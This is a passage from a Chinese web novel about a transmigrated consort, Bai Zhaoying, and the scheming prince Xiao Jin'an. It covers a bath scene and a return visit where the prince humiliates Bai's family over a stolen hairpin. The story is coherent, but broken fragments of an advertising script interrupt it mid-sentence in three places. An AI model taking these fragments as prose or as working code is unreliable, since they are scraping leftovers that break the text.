校场中响起声染上哑意的“世子住手!”王府家将慌忙把两人分开,萧宝瑞这才如蒙大赦,被死死地护在后面,面无人色地唤许崧娘道: “娘……” 许氏见到儿子满身狼狈,只想顾不得许多将她的瑞儿抱起,刚才的情形,她看得清清楚楚。萧烬安恃勇行凶,她的瑞儿相拼不过,不得已出此下策。 可是碍于维持表面功夫,许氏朝萧烬安福了福身,压下怒火强道: “殿下。” 萧烬安掸去袖子上一点胡椒粉,淡漠地望着校场对面如临大敌。别人看他是疯子发病,他看别人是在演闹剧,他心中知晓,两相厌弃。 许氏没得到回应,自顾自继续道: “妾身已在王爷跟前,替瑞儿回绝了北镇抚司的差事,世子自幼行走宫中,身怀武艺,侍奉御前当之无愧,这场比武就当做你兄弟之间平等竞争,世子等考核那天便可……” “让他去。” 许崧娘鬓边的步摇微微一闪。 萧烬安笃定道:“说是指点,并非竞争,就让他去。” 已经分辨不出,这句话是什么级别的讽刺了。 面对于隋王府日渐长成的嫡长子,许菘娘感觉跟萧烬安对峙时,越来越失去了底牌和底气,她的瑞儿还一身脏污地被撂在校场地上,许菘娘不敢多话,立即将萧宝瑞带出是非之地。 萧宝瑞胆子不大,在心底骂一声呸。 隋王府校场只剩下世子这边的人,无人说话,虽是夏天也显出冷寂。 成安用力挠了挠脑袋,没意外殿下打赢了,却没看懂殿下的深意:世子把才到手的锦衣卫名额,轻易拱手让出,那他跟萧宝瑞刚才在打什么?打赢萧宝瑞,又是为了谁? 百思不得解,成安就只好胡乱猜测: ——难不成,殿下其实是为了围魏救赵,捞捞他那个,刚被许氏抓住小辫子的世子妃? 殿下有那么好心吗? 因为这场武斗而困惑的,当然还有白照影本人。 白照影刚亲身经历,萧烬安在飞仙亭险些又掐死他,他知道对方对自己讨厌,于是更想不明白萧烬安为何这回帮他。 但毕竟是受益者,白照影不敢问,怯怯地跟随世子院一行人。离开校场穿过月牙门,众人各自回房。白照影也竭力缩小存在感,走在最后面,试图蒙混过关。 却被萧烬安用眼神制止住了,萧烬安视线扫过沾上椒麻面的外衣。 白照影心里发虚,不敢抬头,说真话的时候,反而声音像蚊子一样哼唧:“谢谢你。” 萧烬安根本不听他在哼什么,椒麻面的呛辣味,让他闻着自己好像进了烤鸭店。 萧烬安扫视了圈院里听候的人,视线散漫地又落回白照影身上,消遣道:“去准备热水,服侍我沐浴。” 对方施恩在前,白照影只能用心照办。 *** 咚。 四名侍从将浴桶搬进浴房,水汽氤氲。一层水波拍打到桶壁,溅起的水珠打湿了白照影的脚尖。侍从低头齐齐退出去。 萧烬安站在浴桶边缘。 白照影穿着单薄的浴袍,肩膀搭着毛巾。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>水汽浓郁,湿度很大。 白照影被烘得脸颊潮红,浴袍没盖住的地方,肌肤润泽得像羊脂暖玉。世子院的浴房并不宽敞,白照影只能轻轻吸了口气,视线已完全被萧烬安挡住。 对方将手臂抬起来,眼神不耐。 白照影在萧烬安的气息之外,嗅到了呛人的椒麻面味儿,赶紧伺候萧烬安给他解开。脱外衣的时候只觉得萧烬安很高,杵在自己跟前像堵墙,热度烘得他心脏小鼓轻捶。 外衣脱干净,里头是亵衣,亵衣包裹着真皮。 可是……电视剧里不曾见过有谁服侍沐浴时,要脱这么干净的。 白照影喉咙有点发干,被蒸汽烘得又虚又渴,将指节搭在萧烬安系亵衣的绳结,认命地拉扯绳结,却操作的方法不对,误把活扣拽成了死扣。 萧烬安视线望下来,看着他的手。 白照影有点尴尬。 可是还能怎么办呢? 赶紧拆。 白照影用尽耐心拆解,在萧烬安胸前来回折腾。 萧烬安垂眸,散下的头发,发梢拂弄着白照影的手臂,牵动起细微的痒意。 若非再换个角度审视,两人像极了正在耳鬓厮磨。 然而实际上却是萧烬安,连嘲笑都懒得再开尊口,简洁地警告白照影: “水凉了。” 白照影慌了,他想赶紧解决问题,又越慌张,绳结打得越紧。 打结的地方,绳索系成个黄豆大小的疙瘩。白照影没留过指甲,费力半天都没能抠开。还因为笨手笨脚的自作孽,变成在萧烬安胸前徒劳地折腾。 萧烬安叹了口气。 白照影误把他的反应当成生气,连忙哄道:“夫君稍等,马上好,马上、马上。” 这时他只想赶紧完成任务,指甲用力拆解绳结,到底是给绳索绸料打开点小小的松动。 但因为捏不住那点儿松动,白照影尝试换了好多个角度,最终只能探身垂头用牙去咬开,他额头鼻尖深深抵进萧烬安的胸膛时,对方的躯体细微的一颤。 萧烬安骤然被他发顶清甜的桃花味占满呼吸。 微妙的悸动感与疯病的后遗症交缠不清,萧烬安觉得胸口有瞬间的窒闷。 他轻推白照影,绳这时完全松散,白照影叼着根绳索,抬起雾蒙蒙的桃花眼,脸颊眼睛耳尖,全都被浴房水汽熏染得红成一片…… 白照影邀功似的,咬着绳索道:“解开了。” 距离微微拉开时,方才后知后觉自己好像是与萧烬安挨得过于近了。 他心脏乱跳,怎么也不敢承认亵渎大佬,他没办法只能将错就错,硬装意识不到。 就这么慢慢,慢慢用牙扯开萧烬安的亵衣衣带,心里默念道:别尴尬、别在意、别尴尬、别在意……但愿萧烬安没察觉到自己刚才都钻进他怀里的冒犯。 白照影映入萧烬安眸光深邃的双眼。 一弹指、两个弹指、三个弹指。 白照影挑战着自己的心理素质。 萧烬安暗暗屏息,终于从消遣别人的主动方,破天荒地变成了被动的另一方。 萧烬安思绪乱搭,今日他与萧宝瑞交手,包括随后让出锦衣卫的名额,皆是别有用意,他脑海早有成算,向来熟练于掌控局面。 如今却有些心潮不宁地乱了方寸。 这是从来都没遇到过的事情,对方却像是浑然不知的。 萧烬安皱紧眉头,冷声赶人,表情对白照影更加不耐: “手太笨,你出去。” 白照影并没听出,这话蕴含着萧烬安一点点恼羞成怒。 他赶紧速度地跑路,出浴房,长长松了口气。 好热,好闷。 11. 腰酸腿疼 夏日,凉风习习。 世子院里的冰盆向来都足量供应。 白照影一边吃冰湃水果,另一边眼睛觑着南屋那边。 隔着虾须帘,他看到南屋有芙蕖院的人,来传了许多次话。还有不知道里面装着什么的,成箱的东西,往世子院一箱接着一箱地搬。 白照影很奇怪。 就在自己的屋子里,隔着帘子数红木箱,有十几个?二十几个? 反正很多个。 不清楚许氏跟萧烬安之间这算什么发展,化敌为友还是虚与委蛇……许氏为什么要送礼? 他不敢打听。自从昨日出浴房之后,萧烬安没再见他,他也不敢轻易招惹萧烬安。 鼻端似莫名又闻见了混合着椒麻粉味道的雪松气息。 白照影眼睫颤了颤,他曲起指弯贴紧颊面,夏季暑热,他捧起冰镇酸梅饮,再来了一杯。 茸茸拨开虾须帘蹦跳着进屋。 茸茸见到他,就压低了声音,凑过来说悄悄话:“少爷,我告诉你件有趣的事……”茸茸目标小,年龄小长得又可爱,逢人就叫哥哥姐姐,在世子院内很吃得开,算是个小小耳报神。 白照影让她跟自己并排坐,说实话,比起小丫环,茸茸更像是小妹妹。 茸茸:“许侧妃现在正求世子殿下进锦衣卫呢。” 茸茸指了指外头的红木箱子,补充道:“喏,这些都是她送的礼物,她掌管王府公中,果然好大的手笔。” “少爷,为什么她从抢名额,变成推名额了呀?”茸茸问。 白照影没有七窍玲珑心,微微摇头。 但到底还是有点好奇心,左右闲来无事,不妨琢磨琢磨。 思索片刻小声说: “因为萧宝瑞进锦衣卫就是死。许氏只看到眼前利益,想让萧宝瑞陪王伴驾,但锦衣卫是刀口舔血的差事,萧宝瑞吃不了这碗饭。她后悔了。” 萧烬安昨天打得那场,既是对许氏母子的羞辱,更让她彻底看清楚,她亲手让儿子送死。 许氏当然要换人。 茸茸半知半解道:“二公子不能去,隋王府必须有人报名,所以许氏只能反过来求殿下,否则二公子就要被送进去,对吗?” 白照影点头:“对。” 想通了这趟弯弯绕绕,白照影脑细胞也消耗大半,到此终于不再自作多情,他昨天以为萧烬安指教萧宝瑞那场,多少是有点想救自己。现在看来,成分微乎其微。 白照影又给自己倒了碗酸梅汤,心里凉冰冰的。 像隋王府这般勾心斗角生涯,到底还得过多久? 白照影桃花眼眨了眨,眼睛浮起层茫然的雾气。 茸茸在旁边掰着手指头算:“少爷,您嫁进隋王府九天了。” 九天也并不太快…… 白照影对这个数字不敏感。 茸茸却把手指头递给他看,说:“少爷,您知不知道,什么叫回门?” 一个十岁出头的小姑娘,和一个刚穿过来的社会经验单薄的病秧子,两人拼凑彼此不多的知识储备,得出大虞朝普遍第九日回门。 茸茸浅浅叹了口气,说:“少爷,我们要回白家了。” 白照影苦笑。 回门这事,白照影当然能避就避。 上次见表哥之前,他因为想起白家这些人害他,还在迎客厅外偷偷哭了一场。 再说进白家必然要见到主角受,白兮然跟七皇子那条线,结局登皇封后,太大了,他沾都不想沾。 遂当即跟茸茸拟定计划,谁都不提回门,要是萧烬安过后想起来,大虞朝也没有第九日以外再回门的。 白照影刚以为滴水不漏,在北屋外间靠背软椅,懒洋洋打了个长长的哈欠。 但见日长风暖,虾须帘摇曳,去往南屋给萧烬安当说客的、贿赂萧烬安的,换了一批又一批人。 白照影漫不经心地想,要照这样下去,下一个来的会是谁? 许氏本人? 隋王? ……他还从来没见过隋王。 白照影胡乱地想着,渐渐有点困意,头靠在长椅小憩,所谓的神魂不稳之症,随着他在古代待得时间越久,症状有所减轻。 这也正说明了,他大概要永远地待在古代。 跟这些机关算尽的人周旋,有时不得不见那些并不爱自己的家人,他还有一个……夫君。 只第一次穿书就被安排了如此复杂的人际关系,白照影把两条腿缩进椅子,要睡一会儿,那样子看起来像是要抱住自己。 他刚乖顺地窝好,调匀了气息。 这时忽然又不知从哪里冒出来一声“世子已安排好回门,请世子妃上车。”他吓得眼睛倏然张开。 墙角的阴影里,成美姿容极冷,话极少,单膝跪着,请白照影动身。 白照影木着眼睛,露出个略显茫然的眼神,隔着虾须帘,他见萧烬安立于庭院,两道视线缓缓相触。世子院里面的其他随从,正在将回门礼物装车。 白照影不敢耽搁。站起身。 成安驾马车开进院子里,在白照影跟前放踩脚凳,打开车门:“世子妃请吧?” 成安惯来嘴碎,眉飞色舞,正想夸赞白照影风光,就这几十箱回门礼,至少得让半城上京名门尽汗颜。 但碍于萧烬安的威势,他闭上嘴。车内一时清寂。车轮徐徐而动。日光透过挽起的床帘,照亮了萧烬安半片衣袖。仍是玄衣描金,不过金描得更多些,竟将他阴郁眉眼映出矜贵昳丽。 白照影被他容貌吸引,又匆匆移开,装作在看车厢悬挂的八宝流苏络子。 茸茸一直在车下,跟随侍从侍女们那队,但探头探脑张望进来,显得欲言又止。 萧烬安敛起眉梢。 捕捉到细微的变化,白照影立马替茸茸求生道:“夫君,她可能有事想跟我说。” 茸茸得到允准跳上马车,进车厢先行礼,在白照影眼神示意下,不敢藏着掖着,如实道: “少爷这次回门,进卧房后先别难过,您这回嫁得急,匆匆忙忙将您送上花轿,那些个丫环嬷子将您房里一些……” 她顿了顿,继续说:“我走得晚,看到一些摆件、细软全都给分走了。对了,还有老夫人留给您的那根青竹玉簪。因为太贵重了,丫头婆子不一定敢要,但一直在屋里放着,八成也保不住了。” 萧烬安想起成安打听的情报,但没什么举动,表现得事不关己。 白照影知道原主窝囊,并且下人们敢瓜分原主的物件,当然也是以为原主根本没命回去。 白照影心头梗了梗。 他有好奇原主当年的处境,又怕暴露穿书者的身份,心底好像盘桓着个很微弱的声音,怯怯地在耳边响起,说“但愿能找到娘亲的遗物”……白照影惊了惊。 如果说神魂不稳之症,因为魂魄没能牢牢扎根进□□。 现在他能听见原主这句心声,是不是说,他的到来,让这本书的白照影拥有了完整的魂灵,他与原主相互融合,即将变成真正的书中人了。 难怪原主怯懦木讷,原主少了几分魂魄,缺失的部分正是自己。 白照影眼前开始浮现出一些碎片般的记忆。 划过得很快,很短暂: ——他看见自己学说话晚,走路晚,张不开口叫父亲母亲,总跌跌撞撞地被门槛绊倒, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然后发不出哭的声音。 ——还看见因为他不说话,告状都不利索,下人们欺负他。柳姨娘从来都睁只眼闭只眼,有时甚至会把正房那里顺来的东西,拿走享用。 ——白兮然表现得事事比他强,继白夫人死后,将父爱也给他剥夺了。 …… 白照影喉咙泛起阵苦涩。 这些事并不会影响他在现代的记忆。 但,影响了他的心情。 他用完整的魂魄,体会到原主的渴望和无奈。 在门槛边,在房屋里,在每次被人漠视鄙夷,都希望无论是谁也好,过来亲近安慰自己。 白照影低垂眼帘,浮起层眼泪。 他转了转眼珠子,将泪水收回去,心肺憋得酸胀,睫毛挂着轻盈得几乎看不见的小泪滴。 车停了。 白照影微微挺着身体。 继主车停住以后,拉回门礼的几辆小车也跟着停了。 车外响起成安放下缰绳,安置踩脚凳的声响。 成安忙活完清了清嗓子,长吸口气,大声禀报: “大虞朝天授隋国王世子,天潢贵胄,英武显赫,携其世子妃,淑贤端庄,今日荣归白府,回门之喜,白府上下众人皆肃静以待,即刻恭迎尊驾!!!” 一言已出,车厢外,只听见沉重的正门被推开的吱呀声音。 白照影不得不从自己刚才那点儿思绪敛神,他湿着双水汪汪的桃花眼。 白府此时由远及近,脚步声阵阵不断,匆匆忙忙赶出来接驾的人,一批接着一批。 白父、白兮然、柳姨娘……还有曾经时常欺侮原主的宋老妈子,他循着原主记忆认出的桃红,怡翠,芳草,克扣他膳食份例的魏大厨,诓骗过他压岁钱的张顺家的。 白家如今勉强还算是个名门,但已两代没出过朝臣,与皇族隔着天渊之别,是以不敢托大,几百号人出来见驾。 萧烬安先下车,靴尖踏在青石地砖,织金圆领袍被日光朗照,满身笼罩着层灿烂的金影。 他站着俯瞰所有人。 然后敲敲白照影的车壁。 白照影挑起车帘,外头阵仗很大,他下车时因为马匹抖动身子,他没太站稳。 眼见要摔倒的瞬间,萧烬安的手臂及时穿过他胳膊,将白照影扶腰半抱在怀里。白照影身体轻颤,方才堪堪站定。 外人低头看不出这番端倪,反倒是以为隋王世子,抱下了他的世子妃。 白兮然与白照影有八分像,在人群中很好认。他第一个抬起目光,然后匆匆低头。 但白兮然又忍不住再抬头,想再确认一眼,正对上萧烬安用指腹蹭过白照影的桃花眼,抹干净白照影眼睫沾着最后的丁点儿泪意。 白兮然愕然。 白照影亦怔住了,从没经历过萧烬安待他这般好,心口猛烈地颤了颤。白照影不明所以。 萧烬安却捏着他脸颊,对白照影,倏然间笑意盈盈: “你看,怪我在王府惯着你,脚都不会沾地了。” “腿疼还是腰酸?我抱你进去。” 他这话一出,在场除去白照影,能听懂的都闹了个大红脸。 两人亲昵温存,都是风华正茂的年纪,若是寻常夫妻,正该蜜里调油,倒也没什么不对。 白兮然艰难地理不清头绪,低头跪着瞧膝前的砖石地,眼前掠过萧烬安绣着蟒纹的靴筒。 那个上京城的著名混蛋,隋王世子——真将他新娶的世子妃,抱进了白府正堂。 于是白家所有人,都产生了种极不真实的感觉,却又得对曾经欺负过、轻蔑过的白照影,恭恭敬敬地称呼他为:“世子妃。” 12. 白府回门 被抱在萧烬安的怀里,一路穿堂入室,白照影边被迫移动,边怀疑,萧烬安他人又疯了。 带着这种怀疑被萧烬安放下来时,白照影已经坐在正堂次首,两人并排。 白府正堂外从远及近的脚步声又响起来了,所有人还得一批批返回正堂。刚才是接驾,现在是见驾,不是一回事。 “草民白星群,携次子,侧室,及全家上下百余口人,请世子、世子妃安……”白星群哑声道。 白兮然与柳姨娘跟着叩头。 白照影抿了抿唇,等他们的脸抬起来,真实地观察到白父的模样,眉眼内收,连心眉,和他现代的爸爸毫无相似之处,完全不是同一个人。他委实对白父全无好感。 更因为有了些原主的记忆,再加上自己的是非观,说对白父厌恶也不为过。 视线再对准主角受—— 白兮然长着张跟自己差不多的脸,身形轮廓也肖似,白兮然脸上最有标志的地方在眼睛。他有双丹凤眼,眼尾轻微上挑,确实是个主角的模样。 柳姨娘徐娘半老,风姿犹存,爱穿一身雅致的白衣,却又在身体显眼处都佩戴了金器。 白兮然和柳姨娘也各自见驾,说了些官面上的话语。 再接下来,陆陆续续结组过来的,是府上的下人。 宋老妈子一眼就能让人看出心中所想,恨透了白照影,可是她脸上还得极力表现出谄媚,形成了种很别扭的观感。 …… 此番,萧烬安并未以晚辈的身份回门。 显然他不认白父这个老丈人,白星群也不能主动提,所以从进门开始,白家上上下下就都得对世子夫妇,事事执宫廷礼。 白家自诩诗礼传家,祖上官职最高时,曾做到过内阁次辅。哪怕白星群这代起读书科举颗粒无收,如今只勉强支撑个贵族门面,越注重表面,就越不能失了礼数。 否则里子没有,就连面子也没了。 依照回门的流程,姑爷带礼物入府,先叙家常,歇息片刻,然后全家再共进宴席。 礼物就是许氏上午送来,讨好萧烬安谈条件的那批。 礼极厚,有十几箱子。 至于里头是什么,萧烬安连打都没打开。 萧烬安无非随手转运至白府。 但白府有许多年不曾经历过风光,白府下人们卸货时眼睛发直。一边搬运一边小心翼翼地窥探他们如今高攀不起的世子妃。 芳草清点物资时,扯过茸茸悄悄问道:“小妮子,你给姐姐透个实底,就那段呆木,咳,世子妃他在隋王府,当真很得宠么?” 茸茸不太懂大人之间的情事。暗中在心里盘算:殿下护过少爷、摔过少爷,昨天为少爷打过架,还刚刚抱过少爷…… 茸茸加来减去算不清。 但,芳草曾经也欺负过少爷。芳草不想让少爷好,茸茸就得维护少爷。 茸茸骄傲点头:“嗯嗯!” 芳草反倒是把脑袋垂了下来,连带着对茸茸都尊敬了几分。干脆连“小妮子”也不敢喊了,就只是讪讪地笑,样子看着很是恭喜。 白照影从正堂打开的窗户里头,正好瞧见这幕,还有白府两三个入不得主屋的粗使丫头,破天荒地凑过去给茸茸福身。茸茸接连摇头,倒是吓得不轻。 白照影视线转回厅堂。 他后知后觉,又明白,萧烬安在装什么蒜了:他又拿自己做筏子。 他肯定知道原主白照影的家庭地位,白家厌恶白照影,他就抬高白照影,既恶心白家又让白家后悔——这种报复,比直接拿皇族威势强压下去,更令白家憋屈。 白照影觉得自己想通了关窍。 心中略有释怀,清楚了萧烬安的意思。 刚才那种没来由的心跳加快,他没再追根究底。 他回回神,这萧烬安变脸极快入戏又深,他发现自己正被萧烬安目光柔和地笼罩着,眼皮略微挑起,萧烬安就对他轻抬唇角,指腹蹭过白照影的眼底,捻去根掉落的睫毛。 那样子,简直动作熟练无比。 白府众人深深吸了口气。 白照影配合道:“谢谢夫君。” 又觉得过分客套,不足以飚得起大佬的演技,白照影努力把萧烬安当作最亲近的人试戏: “掉睫毛是我没睡好,夫君要陪我午睡,不准叫我起。” 萧烬安淡声应允:“嗯。” 于是白府众人吸进去的那口气,差点儿都没上来。 且不说白照影现在说话流畅无碍,就单说他语气里,那份自然而然的娇气,非是被精心呵护许久,不会养成这种情态。 难不成这桩婚,不仅给萧烬安找到正缘,而且给白照影冲了喜? 白星群心头震颤。 柳姨娘也是暗暗咋舌。 白兮然自从进门起就在反复观察白照影和萧烬安,但毕竟不知内情,也看不出白照影穿书者的身份,无法解释两人的行为,就只能认为是情投意合,引发了两人同时有所改变。 “……”白兮然咽了口口水,如吞流沙似的。 这时不免想起当初那桩替嫁的谋算。 他从没想到过白照影,竟会在萧烬安手下活着,曾经听到过萧烬安无数负面传闻,说他行为无端,说他癫狂成性,还有七皇子对萧烬安的评价,说是鹰视狼顾、再世魔王也不为过。 他与七皇子相识也有一段时间,虽彼此有意,但还未走到定亲这步。 而这次误打误撞,让白照影成亲,使得呆木头白照影,居然先他一步攀附上了皇族! 那萧烬安尽管不济,到底也是朝廷册封的世子,他—— 喉咙似有苦水顶上来。 白兮然在正堂最末座,暗暗冷看父亲跟姨娘强打精神,与萧烬安寒暄。 萧烬安眼神始终未曾分给他一眼,所有的关心都落在白照影身上,将白照影一缕垂落的鬓发掖回耳边。 白照影红着脸蹭萧烬安的掌心。 白兮然心头烧起把灼烫的火。 如今不知刺眼的是那个笑,还是萧烬安对他这嫡兄的善待,又或者怨恨得是自己错过了嫁进隋王府的机会,否则那十几箱的回门礼是他的,那声“世子妃”也是他的,还有那疯子的温柔呵护…… 白兮然狠狠地抿着唇。 他暗中告诉自己,萧烬安到底不是皇子身份,今后能袭爵成为隋王,已经是他这辈子最大的造化了,可惜隋王早已被褫夺兵权,隋王府只是具漂亮的空壳子而已。 白兮然想着七皇子的好处。 稍稍平复时,那正堂最首座,悠悠传来萧烬安放下茶盏,散漫又带点儿戏谑的嗓音,让白兮然思绪拉回到现在: “本世子未曾追究白府找人替嫁一事,你们也必然战战兢兢,如履薄冰。此事且先按着。” 他的意思是随时可以追究。 白父连忙赔笑,觉得被无形的手提住了脑袋,刀就在颈边,还不如来个痛快。 萧烬安笑意更深,笑容里隐藏着的阴冷劲儿浮现: “白府几代不曾出息,与皇室攀亲,应知皇族规矩森严……本世子听说府上有个庶的,还未成亲就与老七交情甚密?” 白兮然忽被点名,丹凤眼抬起。 那句“还未成亲就交情甚密”,像打了白兮然的脸,使他脸上热辣辣得犹如火烤,像是要把他尽力遮掩好的心思,毫无顾忌地暴露出来。 到底是心中有气,不愿被人当众下了面子。 白兮然从末座起身,拿出京城风流人物的气度,引经据典道: “殿下,诗云‘关关雎鸠,在河之洲’,我朝民风淳朴,交往发乎情止于礼,就是圣人也不禁止。殿下是否有些偏颇了?” 白兮然能在上京公子圈混出些名堂,靠得当然是真有几分巧辩之才,胸中尚有些学识。 他以为不卑不亢,抬出孔孟圣人,能压下萧烬安的嘲讽。 却忘记了萧烬安是个不按照常理出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 牌的人,他根本不接他的招。 萧烬安兀自说起另一个话题,目光打量白兮然的发顶,在他束发的青竹玉簪,悠然停留片刻: “你这玉簪,是世子妃之物。” *** 此言一出,纵使身在白府,依旧是掀起阵阵巨浪,满座哗然。 白兮然面容滚烫。右手不知不觉抚上发簪,表情变得像僵死般难看。 那截青竹玉簪是他戴了三五日的爱物,因为他在上京城有个“如玉如竹”的称号,所以自从得到青玉簪,觉得与自己格外相衬,日日爱不释手。 簪子是柳姨娘给的。 柳姨娘会拿到这簪子,是宋老妈子刚被白照影从隋王府撵回来,心中气不过,遂来到白照影的房间搜索泄愤,从原主珍藏在床头的锦盒找到的。 玉簪太过珍贵,宋老妈子不敢戴,献给柳姨娘换了赏钱。 柳姨娘故作不知它来路,料想白照影没命追究,所以根本没细问,转送给儿子白兮然戴。 就这么几经转手,糊里糊涂竟把白夫人遗物插在白兮然头上,玉簪变成了赃物,纵使白兮然再有声名再能巧辩,这根装饰他的玉簪,也要变成他的污点,白兮然脸瞬间涨成通红! 柳姨娘连忙斥道:“宋氏,你怎么帮二少爷梳洗的?谁的东西都敢戴!” 柳姨娘拍响座位扶手。 宋老妈子纳头就跪,心知自己闯了大祸,为了不被逐出白府,连忙求饶,主仆联合要将二少爷面子保全下来,她磕头如捣蒜似的: “世子恕罪、世子妃恕罪,老爷姨娘还有二少爷都请恕罪,是老奴一时昏聩,因为咱府上要接见贵宾,希望咱们二少爷体面些,这才自作主张到世子妃原来的屋子里,拿了这根玉簪给二少爷!全是老奴的过错,二少爷根本不知情!” 她竭力撇开白兮然。 白兮然却因为想通了青竹玉簪背后的关窍,心中有气,又哑口无言。 宋老妈子还在请罪。 白兮然迅速反应,只能两害取其轻,曾经白府最最风光体面的二少爷,不得不认下自己为了体面擅自戴嫡兄长发饰,怎么听怎么让人觉得眼皮子浅。 白兮然拱手向萧烬安与白照影致歉:“对不住,世子、世子妃,这件事是我分辨不明,不小心取用了兄长留在府里的东西,还望兄长跟殿下海涵。” 萧烬安把目光缓缓投向白照影,眼神幽深,盛满了光,就好像正在看世上最珍贵的事物。 白照影又被他这种眼神给惊讶到了。心头浮现起一种被羽毛拂过的,很毛茸茸的触感。明知两人不过做戏,两人却把戏做得,比珍珠还真。 白照影体内,原主的半片残魂曾经拜托他拿回发簪子,受人所托,当然要终人之事,所以他现在也顾不得这样做会不会得罪本书的主角受,白夫人的遗物,他一定要拿回来。 白照影道:“既是无心之过,还给我吧。” 白兮然从来都是抢白照影的东西,多少年间,这还是头一次,两个人的形势对调过来。 他万分不悦,却也不得不道:“是。我这就回去更换发……” 那道话音,被萧烬安阴郁的眸光生生制住。 萧烬安好整以暇地,理了理白照影的头发,指端爬梳着白照影柔软的发丝,白照影一头青丝,正被一支普通的白玉簪挽着,他轻轻碰了碰那玉簪的簪尾。 白兮然已经懂了。 这个疯子成心给自己难看,打定主意要拿白照影恶心自己! 白兮然将发簪取下,长发垂落,发丝披散,模样倒比当初他所嘲笑的隋王世子萧烬安,更为肖似疯子百倍。 萧烬安接过玉簪,用成美递来的帕子仔细擦了几遍。然后方才温柔地将玉簪嵌进白照影发髻里。他动作缓慢。 白照影热意又染上两腮。 更不知是否为原主残魂影响,遗物完璧归赵,白照影心里乱撞得很。 萧烬安:“困了,午睡,醒来再用晚宴。” 13. 感情甚笃 上京城永宁街,白府。 白府内内外外,都安插着萧烬安从世子院带来的护卫。阵仗大得震撼了整条永宁街,许多百姓来来往往地看热闹。 成安腰间斜挂短刀,在白府踱来踱去。 成美守在白照影卧房门口。 萧烬安毫不客气,并不在意住在白家会出什么意外,说午睡就去午睡。 而白星群等人,却完全是另外一种心理: 他们有苦说不出,既担心萧烬安疯病发作,纵容手下护卫在白府闹出好歹,又害怕对萧烬安招待不周,让他翻替嫁的旧债,一顶欺君之罪的帽子砸下去。 白星群满头冒汗,犹如热锅上的蚂蚁。 怎么也送不走这尊大神,连带看柳姨娘也来气,他呵斥柳姨娘赶紧准备回门宴。 柳姨娘根本没想到,萧烬安真要留在白府吃饭,她还待想抱怨什么,但掂量着白老爷火气正盛,连忙去了。 白兮然满头乱发,让白星群看着更加糟心。白星群眉头一沉。 白兮然心知不是说话的时机,暗中将这笔账牢牢记下,立刻回屋重新梳洗。 这一下午,白家都如履薄冰。 唯独白照影那间卧房,处于白府后宅最偏僻处,倒是格外幽静。 白照影躺在床上,眼睛悄悄睁开,还眨巴了几下。 他在暗中观察屋内陈设,东西并没有少太多,但是从摆放来看,有些瞧着不合适,有挪动过的痕迹。 他猜想,也许因为他刚才在白家正堂向白兮然要回青竹玉簪,敲虎震山,喽啰们趁他不在时,来屋里自觉退赃了。 白照影不免回忆着,戴发簪那时,萧烬安手掌碰到他头发的触感。 旁边萧烬安闭着眼,正在午睡。这是他头一回,跟萧烬安睡在一张榻上。 原主的床很小。 萧烬安人高马大。他躺好,将床占去一大半,白照影就不得不与他挨得很紧,被对方身上雪松味混合着的铁锈气息,缓缓侵袭。 白照影鼻头轻颤。 萧烬安总是对他嫌弃又疏离,今日却在白府,表现得格外对自己亲昵,直到现在都不曾撂下演技,想必是这场“床戏”,也在两人今天的对戏范围,他们应该让白府的人彻底取信。 白照影想通了,稍微做足心理建设,距离萧烬安更近了点,午睡就午睡。 桃花甜香隐约钻进怀里。 萧烬安微睁双眸。 他其实没有睡着,只是眼睛闭着。感受到身边人呼吸越发匀细,他睁开眼,看到的是白照影低垂的眼睑,睡得舒坦,脸颊蹭蹭枕面。 睡着时倒是不会花言巧语,却会讨巧地,揪着与自己不远不近的一段被褥,像隔着衣服,微微攥住他的衣襟。 萧烬安心头被拨弄了瞬,白照影领口稍微松散,玲珑的锁骨睡得泛粉,他睡熟时不老实,嫌热,在被褥里乱拱,蹭得萧烬安由宁静变得烦躁,注目他霜雪色肌肤露出更多来。 萧烬安尚未意识到,白照影会在有意无意间,影响到他的情绪。 只是已经困意全无,他将他所有心绪不宁,归咎于体内尚未完全疗愈的疯病,冷着脸等白照影完全转醒。 两人同时起床时,已经到晚宴时间了。 外头有敲门声,是芳草过来请大少爷跟殿下用餐。 白照影从床上坐起,望着快要彻底落幕的天色,脸颊潮热,张了张手臂,浑身筋骨舒展。 芳草连忙隔门献殷勤道:“大少爷……大少爷睡了那么久,可是身体有所不适?需不需要传郎中给您看看?” 白照影不太喜欢她,遂敷衍:“昨晚熬夜了,我累,补觉补得长了些。” 芳草听罢,果然讪讪地走了,还夸赞世子夫妇感情甚笃,这都哪儿跟哪,白照影莫名。 宴会在花厅安排。 迫于萧烬安的无形压力,柳氏差点儿掏干净白府家底,这才给隋王府世子准备好一桌,能配得起对方规格的回门宴。 席间烹龙炮凤自不必说。 白星群不敢生事。 白兮然审时度势,也知今日主动权不在自己,硬碰硬占不到便宜,表面文章也做起来。 席面上还来了个意想不到的客人:表哥崔执简,文翰小侯爷也在回门宴上。 上次崔执简跟白照影分别,到底还是放心不下,这回算着第九日白照影回门,所以主动过来赴宴。这是崔执简第二次见萧烬安和表弟共处。 萧烬安显然更亲近表弟许多,他会布菜,问白照影滋味咸淡,在白照影嘴角沾上酱汁时,用指节擦过他的脸蛋。 崔执简瞧着欣慰,隐约酸楚。又偶尔敏锐地捕捉到表弟,时不时流露出一种“我其实是被人胁迫的”为难之感。 崔执简洞察若微,越不明所以,就越焦灼不安。 一顿饭面上平静,所有人各怀心事,可谓是宾主尽不欢。 *** 夜宴散尽,萧烬安打道回府。 这次登上车厢以后,车门车窗皆锁着,萧烬安人前刻意表现出来的温柔,顷刻间成梦幻泡影。令人不得不佩服萧烬安做戏的水平。 萧烬安眼神阴郁地,自斟自饮了好几杯,喝不知是药还是茶水的,闻着非常苦的东西。 白照影眼观鼻,鼻观心。马车急刹时,坐不稳直扑到萧烬安身上。 而那么大的动作,对方掌心的茶杯却涓滴未洒。 萧烬安闲适地撂下茶盏,不甚在意地凝着白照影,倏然淡淡总结了句:“往后逢年过节,白府想必都如临大敌。” 话毕他嘴角微弯。 白照影一阵恶寒。 只觉萧烬安这个人,骨子里渗出种随时拉人下地狱的疯狂感,满身难描的破碎。 …… 下午觉睡得太多了。 胸中经历了不少事,闭上眼,白照影眼睛里是一幕幕场景: 